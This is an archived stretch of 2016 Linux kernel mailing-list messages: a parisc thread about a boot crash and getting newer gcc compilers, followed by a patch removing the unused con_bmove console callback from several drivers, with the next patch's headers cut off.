Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 33FF973D569;
	Wed, 22 Jun 2016 14:51:24 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id C4D6D2217AB; Wed, 22 Jun 2016 14:52:40 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id B4302220D91;
	Wed, 22 Jun 2016 14:52:40 +0300 (EEST)
In-Reply-To: <9d1ae51e-69c3-c3f6-60aa-e5238dd18241@bell.net>
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:114504 gmane.linux.ports.parisc:26910
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/114504>

> > > > I noticed on RP3440 and A500 that recent 4.4-rc* crashes on boot.
> > > >
> > > >I've not seen it with 4.4-rc yet, but I've seen it on debian kernel
> > > >4.3.3:
> > This is still present in 4.6, just tested. All my pariscs are broken
> > - A500, RP3410, RP3440. 4.3 is the latest working release for me. If
> > 4.3.3 is broken, it might be possible to bisect more easily.
> 
> I believe this is fixed in current gcc versions (4.9 and latter). It was
> exposed by a blk-merge
> change.  It was fixed by this change:

Out of interest, how do other parisc users get the new compiler?

What distro are you using?

My pariscs are gentoo and still only the old versions are available on 
hppa.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: parisc late boot crash in 4.4-rc, scsi-related
Date: Wed, 22 Jun 2016 08:22:46 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <EC4C2E5C-B18F-42A2-80AB-ABA286B7AA81@bell.net>
References: <alpine.LRH.2.20.1601082329270.23187@math.ut.ee> <56902D77.1020200@gmx.de> <alpine.LRH.2.20.1605162336050.12607@math.ut.ee> <9d1ae51e-69c3-c3f6-60aa-e5238dd18241@bell.net> <alpine.LRH.2.20.1606221451310.11869@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1466598190 11574 80.91.229.3 (22 Jun 2016 12:23:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jun 2016 12:23:10 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-block@vger.kernel.org, linux-scsi@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 22 14:22:58 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bFhBJ-0004Kc-EY
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Jun 2016 14:22:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752262AbcFVMW4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jun 2016 08:22:56 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:39452 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752156AbcFVMW4 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jun 2016 08:22:56 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20160622122249.JXKK18721.mtlfep01.bell.net@mtlspm02.bell.net>;
          Wed, 22 Jun 2016 08:22:49 -0400
Original-Received: from [192.168.2.10] (really [76.69.120.62]) by mtlspm02.bell.net
          with ESMTP
          id <20160622122249.SFUO15548.mtlspm02.bell.net@[192.168.2.10]>;
          Wed, 22 Jun 2016 08:22:49 -0400
In-Reply-To: <alpine.LRH.2.20.1606221451310.11869@math.ut.ee>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.576A8319.0180,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26911 gmane.linux.scsi:114505
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26911>

On 2016-06-22, at 7:52 AM, Meelis Roos wrote:

>>>>> I noticed on RP3440 and A500 that recent 4.4-rc* crashes on boot.
>>>>> 
>>>>> I've not seen it with 4.4-rc yet, but I've seen it on debian kernel
>>>>> 4.3.3:
>>> This is still present in 4.6, just tested. All my pariscs are broken
>>> - A500, RP3410, RP3440. 4.3 is the latest working release for me. If
>>> 4.3.3 is broken, it might be possible to bisect more easily.
>> 
>> I believe this is fixed in current gcc versions (4.9 and latter). It was
>> exposed by a blk-merge
>> change.  It was fixed by this change:
> 
> Out of interest, how do other parisc users get the new compiler?

The Debian binaries have the change.

For development, I get gcc with svn from <https://gcc.gnu.org/>.  It is also possible to
use git to access the sources.

gcc -v should show how your current compiler was built.

> 
> What distro are you using?

We are using Debian unstable.  Helge and myself have setup an automated build system
with several buildds.  We are getting reasonable support from package maintainers.

Approximately, 11100 packages are available using apt-get:
https://buildd.debian.org/status/architecture.php?a=hppa&suite=sid
In terms of package counts, we are about equal to alpha, ppc64 and sparc64.

Helge has setup a Debian install disk.  Info on this is here:
https://parisc.wiki.kernel.org/index.php/Main_Page

> 
> My pariscs are gentoo and still only the old versions are available on 
> hppa.


Hope this helps,
Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: parisc late boot crash in 4.4-rc, scsi-related
Date: Wed, 22 Jun 2016 20:13:58 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <2098261.XbUFfohXuY@caliban.sf-tec.de>
References: <alpine.LRH.2.20.1601082329270.23187@math.ut.ee> <9d1ae51e-69c3-c3f6-60aa-e5238dd18241@bell.net> <alpine.LRH.2.20.1606221451310.11869@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart5252921.WypFZYtxpW"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1466619665 15430 80.91.229.3 (22 Jun 2016 18:21:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jun 2016 18:21:05 +0000 (UTC)
Cc: linux-block@vger.kernel.org, linux-scsi@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
Original-X-From: linux-scsi-owner@vger.kernel.org Wed Jun 22 20:20:56 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1bFmlj-0006ea-7L
	for lnx-linux-scsi@plane.gmane.org; Wed, 22 Jun 2016 20:20:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751080AbcFVSUy (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Wed, 22 Jun 2016 14:20:54 -0400
Original-Received: from mail.sf-mail.de ([78.47.74.12]:51794 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751242AbcFVSUy (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Wed, 22 Jun 2016 14:20:54 -0400
X-Greylist: delayed 400 seconds by postgrey-1.27 at vger.kernel.org; Wed, 22 Jun 2016 14:20:53 EDT
Original-Received: (qmail 30828 invoked from network); 22 Jun 2016 18:14:09 -0000
Original-Received: from dslb-178-011-044-090.178.011.pools.vodafone-ip.de ([::ffff:178.11.44.90]:36332 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.33dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <mroos@linux.ee>; Wed, 22 Jun 2016 20:14:09 +0200
User-Agent: KMail/4.14.10 (Linux/4.6.2-4.g14295d6-default; KDE/4.14.10; x86_64; ; )
In-Reply-To: <alpine.LRH.2.20.1606221451310.11869@math.ut.ee>
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:114524 gmane.linux.ports.parisc:26912
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/114524>

--nextPart5252921.WypFZYtxpW
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Mittwoch, 22. Juni 2016, 14:52:40 schrieb Meelis Roos:
> > > > > I noticed on RP3440 and A500 that recent 4.4-rc* crashes on boot.
> > > > >
> > > > >I've not seen it with 4.4-rc yet, but I've seen it on debian kernel
> > > 
> > > > >4.3.3:
> > > This is still present in 4.6, just tested. All my pariscs are broken
> > > - A500, RP3410, RP3440. 4.3 is the latest working release for me. If
> > > 4.3.3 is broken, it might be possible to bisect more easily.
> > 
> > I believe this is fixed in current gcc versions (4.9 and latter). It was
> > exposed by a blk-merge
> 
> > change.  It was fixed by this change:
> Out of interest, how do other parisc users get the new compiler?
> 
> What distro are you using?
> 
> My pariscs are gentoo and still only the old versions are available on
> hppa.

Several newer versions (4.9, 5.3) are in portage, maybe they just need to be 
unmasked.

Greetings,

Eike
--nextPart5252921.WypFZYtxpW
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAldq1XAACgkQXKSJPmm5/E7DogCgnIJGAm85X3iNH01Uc0XwUTjE
yJcAn2WMcjjh5TnLKX5KviP8TPaujRCW
=miW1
-----END PGP SIGNATURE-----

--nextPart5252921.WypFZYtxpW--

--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: parisc late boot crash in 4.4-rc, scsi-related
Date: Wed, 22 Jun 2016 23:26:47 +0300
Lines: 30
Approved: news@gmane.org
Message-ID: <20160622202647.GF11384@raspberrypi.musicnaut.iki.fi>
References: <alpine.LRH.2.20.1601082329270.23187@math.ut.ee>
 <56902D77.1020200@gmx.de>
 <alpine.LRH.2.20.1605162336050.12607@math.ut.ee>
 <9d1ae51e-69c3-c3f6-60aa-e5238dd18241@bell.net>
 <alpine.LRH.2.20.1606221451310.11869@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1466627241 6265 80.91.229.3 (22 Jun 2016 20:27:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jun 2016 20:27:21 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-block@vger.kernel.org, linux-scsi@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 22 22:27:12 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bFojk-0003UJ-Ta
	for glpp-linux-parisc@plane.gmane.org; Wed, 22 Jun 2016 22:27:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752034AbcFVU0y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jun 2016 16:26:54 -0400
Original-Received: from emh03.mail.saunalahti.fi ([62.142.5.109]:36746 "EHLO
	emh03.mail.saunalahti.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751123AbcFVU0x (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jun 2016 16:26:53 -0400
Original-Received: from raspberrypi.musicnaut.iki.fi (85-76-149-135-nat.elisa-mobile.fi [85.76.149.135])
	by emh03.mail.saunalahti.fi (Postfix) with ESMTP id 5F59E188855;
	Wed, 22 Jun 2016 23:26:49 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.20.1606221451310.11869@math.ut.ee>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26913 gmane.linux.scsi:114527
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26913>

Hi,

On Wed, Jun 22, 2016 at 02:52:40PM +0300, Meelis Roos wrote:
> > > > > I noticed on RP3440 and A500 that recent 4.4-rc* crashes on boot.
> > > > >
> > > > >I've not seen it with 4.4-rc yet, but I've seen it on debian kernel
> > > > >4.3.3:
> > > This is still present in 4.6, just tested. All my pariscs are broken
> > > - A500, RP3410, RP3440. 4.3 is the latest working release for me. If
> > > 4.3.3 is broken, it might be possible to bisect more easily.
> > 
> > I believe this is fixed in current gcc versions (4.9 and latter). It was
> > exposed by a blk-merge
> > change.  It was fixed by this change:
> 
> Out of interest, how do other parisc users get the new compiler?
> 
> What distro are you using?
> 
> My pariscs are gentoo and still only the old versions are available on 
> hppa.

I compile everything from scratch. Currently using GCC 6.1.

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.usb.general,gmane.linux.ports.parisc
Subject: [PATCH 07/16] tty: vt, remove consw->con_bmove
Date: Thu, 23 Jun 2016 13:34:28 +0200
Lines: 269
Approved: news@gmane.org
Message-ID: <20160623113437.28416-7-jslaby@suse.cz>
References: <20160623113437.28416-1-jslaby@suse.cz>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1466681949 1533 80.91.229.3 (23 Jun 2016 11:39:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Jun 2016 11:39:09 +0000 (UTC)
Cc: linux-serial@vger.kernel.org, linux-kernel@vger.kernel.org,
	Jiri Slaby <jslaby@suse.cz>,
	Thomas Winischhofer <thomas@winischhofer.net>,
	linux-usb@vger.kernel.org,
	Jean-Christophe Plagniol-Villard <plagnioj@jcrosoft.com>,
	Tomi Valkeinen <tomi.valkeinen@ti.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-fbdev@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: gregkh@linuxfoundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 23 13:38:57 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bG2yF-00048w-71
	for glk-linux-kernel-3@plane.gmane.org; Thu, 23 Jun 2016 13:38:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752092AbcFWLet (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 23 Jun 2016 07:34:49 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:46802 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751236AbcFWLeo (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 23 Jun 2016 07:34:44 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 16AA2ACA6;
	Thu, 23 Jun 2016 11:34:42 +0000 (UTC)
X-Mailer: git-send-email 2.9.0
In-Reply-To: <20160623113437.28416-1-jslaby@suse.cz>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2251754 gmane.linux.serial:23359 gmane.linux.usb.general:144200 gmane.linux.ports.parisc:26914
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2251754>

It is never called since commit 81732c3b2fede (tty vt: Fix line
garbage in virtual console on command line edition) in 3.7. So remove
all the callbacks.

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Cc: Thomas Winischhofer <thomas@winischhofer.net>
Cc: linux-usb@vger.kernel.org
Cc: Jean-Christophe Plagniol-Villard <plagnioj@jcrosoft.com>
Cc: Tomi Valkeinen <tomi.valkeinen@ti.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-fbdev@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
---
 drivers/usb/misc/sisusbvga/sisusb_con.c | 35 ---------------------------------
 drivers/video/console/dummycon.c        |  1 -
 drivers/video/console/fbcon.c           |  1 -
 drivers/video/console/mdacon.c          | 33 -------------------------------
 drivers/video/console/newport_con.c     | 29 ---------------------------
 drivers/video/console/sticon.c          | 17 ----------------
 drivers/video/console/vgacon.c          |  1 -
 include/linux/console.h                 |  1 -
 8 files changed, 118 deletions(-)

diff --git a/drivers/usb/misc/sisusbvga/sisusb_con.c b/drivers/usb/misc/sisusbvga/sisusb_con.c
index 4112835f4aed..52a6da991165 100644
--- a/drivers/usb/misc/sisusbvga/sisusb_con.c
+++ b/drivers/usb/misc/sisusbvga/sisusb_con.c
@@ -477,39 +477,6 @@ sisusbcon_clear(struct vc_data *c, int y, int x, int height, int width)
 	mutex_unlock(&sisusb->lock);
 }
 
-/* Interface routine */
-static void
-sisusbcon_bmove(struct vc_data *c, int sy, int sx,
-			 int dy, int dx, int height, int width)
-{
-	struct sisusb_usb_data *sisusb;
-	int cols, length;
-
-	if (width <= 0 || height <= 0)
-		return;
-
-	sisusb = sisusb_get_sisusb_lock_and_check(c->vc_num);
-	if (!sisusb)
-		return;
-
-	/* sisusb->lock is down */
-
-	cols = sisusb->sisusb_num_columns;
-
-	if (sisusb_is_inactive(c, sisusb)) {
-		mutex_unlock(&sisusb->lock);
-		return;
-	}
-
-	length = ((height * cols) - dx - (cols - width - dx)) * 2;
-
-
-	sisusb_copy_memory(sisusb, (unsigned char *)SISUSB_VADDR(dx, dy),
-				(long)SISUSB_HADDR(dx, dy), length);
-
-	mutex_unlock(&sisusb->lock);
-}
-
 /* interface routine */
 static int
 sisusbcon_switch(struct vc_data *c)
@@ -1371,7 +1338,6 @@ static const struct consw sisusb_con = {
 	.con_putcs =		sisusbcon_putcs,
 	.con_cursor =		sisusbcon_cursor,
 	.con_scroll =		sisusbcon_scroll,
-	.con_bmove =		sisusbcon_bmove,
 	.con_switch =		sisusbcon_switch,
 	.con_blank =		sisusbcon_blank,
 	.con_font_set =		sisusbcon_font_set,
@@ -1419,7 +1385,6 @@ static const struct consw sisusb_dummy_con = {
 	.con_putcs =		SISUSBCONDUMMY,
 	.con_cursor =		SISUSBCONDUMMY,
 	.con_scroll =		SISUSBCONDUMMY,
-	.con_bmove =		SISUSBCONDUMMY,
 	.con_switch =		SISUSBCONDUMMY,
 	.con_blank =		SISUSBCONDUMMY,
 	.con_font_set =		SISUSBCONDUMMY,
diff --git a/drivers/video/console/dummycon.c b/drivers/video/console/dummycon.c
index 0ef544ef5634..9269d5685239 100644
--- a/drivers/video/console/dummycon.c
+++ b/drivers/video/console/dummycon.c
@@ -64,7 +64,6 @@ const struct consw dummy_con = {
     .con_putcs =	DUMMY,
     .con_cursor =	DUMMY,
     .con_scroll =	DUMMY,
-    .con_bmove =	DUMMY,
     .con_switch =	DUMMY,
     .con_blank =	DUMMY,
     .con_font_set =	DUMMY,
diff --git a/drivers/video/console/fbcon.c b/drivers/video/console/fbcon.c
index 9359b06377cf..eef8a8b7274f 100644
--- a/drivers/video/console/fbcon.c
+++ b/drivers/video/console/fbcon.c
@@ -3334,7 +3334,6 @@ static const struct consw fb_con = {
 	.con_putcs 		= fbcon_putcs,
 	.con_cursor 		= fbcon_cursor,
 	.con_scroll 		= fbcon_scroll,
-	.con_bmove 		= fbcon_bmove,
 	.con_switch 		= fbcon_switch,
 	.con_blank 		= fbcon_blank,
 	.con_font_set 		= fbcon_set_font,
diff --git a/drivers/video/console/mdacon.c b/drivers/video/console/mdacon.c
index 1fe5245eb6dd..bacbb044d77c 100644
--- a/drivers/video/console/mdacon.c
+++ b/drivers/video/console/mdacon.c
@@ -444,38 +444,6 @@ static void mdacon_clear(struct vc_data *c, int y, int x,
 	}
 }
                         
-static void mdacon_bmove(struct vc_data *c, int sy, int sx, 
-			 int dy, int dx, int height, int width)
-{
-	u16 *src, *dest;
-
-	if (width <= 0 || height <= 0)
-		return;
-		
-	if (sx==0 && dx==0 && width==mda_num_columns) {
-		scr_memmovew(MDA_ADDR(0,dy), MDA_ADDR(0,sy), height*width*2);
-
-	} else if (dy < sy || (dy == sy && dx < sx)) {
-		src  = MDA_ADDR(sx, sy);
-		dest = MDA_ADDR(dx, dy);
-
-		for (; height > 0; height--) {
-			scr_memmovew(dest, src, width*2);
-			src  += mda_num_columns;
-			dest += mda_num_columns;
-		}
-	} else {
-		src  = MDA_ADDR(sx, sy+height-1);
-		dest = MDA_ADDR(dx, dy+height-1);
-
-		for (; height > 0; height--) {
-			scr_memmovew(dest, src, width*2);
-			src  -= mda_num_columns;
-			dest -= mda_num_columns;
-		}
-	}
-}
-
 static int mdacon_switch(struct vc_data *c)
 {
 	return 1;	/* redrawing needed */
@@ -564,7 +532,6 @@ static const struct consw mda_con = {
 	.con_putcs =		mdacon_putcs,
 	.con_cursor =		mdacon_cursor,
 	.con_scroll =		mdacon_scroll,
-	.con_bmove =		mdacon_bmove,
 	.con_switch =		mdacon_switch,
 	.con_blank =		mdacon_blank,
 	.con_build_attr =	mdacon_build_attr,
diff --git a/drivers/video/console/newport_con.c b/drivers/video/console/newport_con.c
index a436930f9e5d..e3b9521e4ec3 100644
--- a/drivers/video/console/newport_con.c
+++ b/drivers/video/console/newport_con.c
@@ -673,34 +673,6 @@ static int newport_scroll(struct vc_data *vc, int t, int b, int dir,
 	return 1;
 }
 
-static void newport_bmove(struct vc_data *vc, int sy, int sx, int dy,
-			  int dx, int h, int w)
-{
-	short xs, ys, xe, ye, xoffs, yoffs;
-
-	xs = sx << 3;
-	xe = ((sx + w) << 3) - 1;
-	/*
-	 * as bmove is only used to move stuff around in the same line
-	 * (h == 1), we don't care about wrap arounds caused by topscan != 0
-	 */
-	ys = ((sy << 4) + topscan) & 0x3ff;
-	ye = (((sy + h) << 4) - 1 + topscan) & 0x3ff;
-	xoffs = (dx - sx) << 3;
-	yoffs = (dy - sy) << 4;
-	if (xoffs > 0) {
-		/* move to the right, exchange starting points */
-		swap(xe, xs);
-	}
-	newport_wait(npregs);
-	npregs->set.drawmode0 = (NPORT_DMODE0_S2S | NPORT_DMODE0_BLOCK |
-				 NPORT_DMODE0_DOSETUP | NPORT_DMODE0_STOPX
-				 | NPORT_DMODE0_STOPY);
-	npregs->set.xystarti = (xs << 16) | ys;
-	npregs->set.xyendi = (xe << 16) | ye;
-	npregs->go.xymove = (xoffs << 16) | yoffs;
-}
-
 static int newport_dummy(struct vc_data *c)
 {
 	return 0;
@@ -718,7 +690,6 @@ const struct consw newport_con = {
 	.con_putcs	  = newport_putcs,
 	.con_cursor	  = newport_cursor,
 	.con_scroll	  = newport_scroll,
-	.con_bmove 	  = newport_bmove,
 	.con_switch	  = newport_switch,
 	.con_blank	  = newport_blank,
 	.con_font_set	  = newport_font_set,
diff --git a/drivers/video/console/sticon.c b/drivers/video/console/sticon.c
index fe7c4dbb676e..3a10ac19598f 100644
--- a/drivers/video/console/sticon.c
+++ b/drivers/video/console/sticon.c
@@ -177,22 +177,6 @@ static int sticon_scroll(struct vc_data *conp, int t, int b, int dir, int count)
     return 0;
 }
 
-static void sticon_bmove(struct vc_data *conp, int sy, int sx, 
-	int dy, int dx, int height, int width)
-{
-    if (!width || !height)
-	    return;
-#if 0
-    if (((sy <= p->cursor_y) && (p->cursor_y < sy+height) &&
-	(sx <= p->cursor_x) && (p->cursor_x < sx+width)) ||
-	((dy <= p->cursor_y) && (p->cursor_y < dy+height) &&
-	(dx <= p->cursor_x) && (p->cursor_x < dx+width)))
-		sticon_cursor(p, CM_ERASE /*|CM_SOFTBACK*/);
-#endif
-
-    sti_bmove(sticon_sti, sy, sx, dy, dx, height, width);
-}
-
 static void sticon_init(struct vc_data *c, int init)
 {
     struct sti_struct *sti = sticon_sti;
@@ -345,7 +329,6 @@ static const struct consw sti_con = {
 	.con_putcs		= sticon_putcs,
 	.con_cursor		= sticon_cursor,
 	.con_scroll		= sticon_scroll,
-	.con_bmove		= sticon_bmove,
 	.con_switch		= sticon_switch,
 	.con_blank		= sticon_blank,
 	.con_set_origin		= sticon_set_origin,
diff --git a/drivers/video/console/vgacon.c b/drivers/video/console/vgacon.c
index aaae9bd23900..e280b3ceebd9 100644
--- a/drivers/video/console/vgacon.c
+++ b/drivers/video/console/vgacon.c
@@ -1421,7 +1421,6 @@ const struct consw vga_con = {
 	.con_putcs = DUMMY,
 	.con_cursor = vgacon_cursor,
 	.con_scroll = vgacon_scroll,
-	.con_bmove = DUMMY,
 	.con_switch = vgacon_switch,
 	.con_blank = vgacon_blank,
 	.con_font_set = vgacon_font_set,
diff --git a/include/linux/console.h b/include/linux/console.h
index 382a527104c4..d530c4627e54 100644
--- a/include/linux/console.h
+++ b/include/linux/console.h
@@ -45,7 +45,6 @@ struct consw {
 	void	(*con_putcs)(struct vc_data *, const unsigned short *, int, int, int);
 	void	(*con_cursor)(struct vc_data *, int);
 	int	(*con_scroll)(struct vc_data *, int, int, int, int);
-	void	(*con_bmove)(struct vc_data *, int, int, int, int, int, int);
 	int	(*con_switch)(struct vc_data *);
 	int	(*con_blank)(struct vc_data *, int, int);
 	int	(*con_font_set)(struct vc_data *, struct console_font *, unsigned);
-- 
2.9.0



From - Thu Nov 08 21:39:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.usb.general,gmane.linux.ports.parisc
Subject: [PATCH 05/16] tty: vt, consw->con_scrolldelta cleanup
Date: Thu, 23 Jun 2016 13:34:26 +0200
Lines: 333
Approved: news@gmane.org
Message-ID: <20160623113437.28416-5-jslaby@suse.cz>
References: <20160623113437.28416-1-jslaby@suse.cz>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1466682170 5247 80.91.229.3 (23 Jun 2016 11:42:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 23 Jun 2016 11:42:50 +0000 (UTC)
Cc: linux-serial@vger.kernel.org, linux-kernel@vger.kernel.org,
	Jiri Slaby <jslaby@suse.cz>,
	Thomas Winischhofer <thomas@winischhofer.net>,
	linux-usb@vger.kernel.org,
	Jean-Christophe Plagniol-Villard <plagnioj@jcrosoft.com>,
	Tomi Valkeinen <tomi.valkeinen@ti.com>,
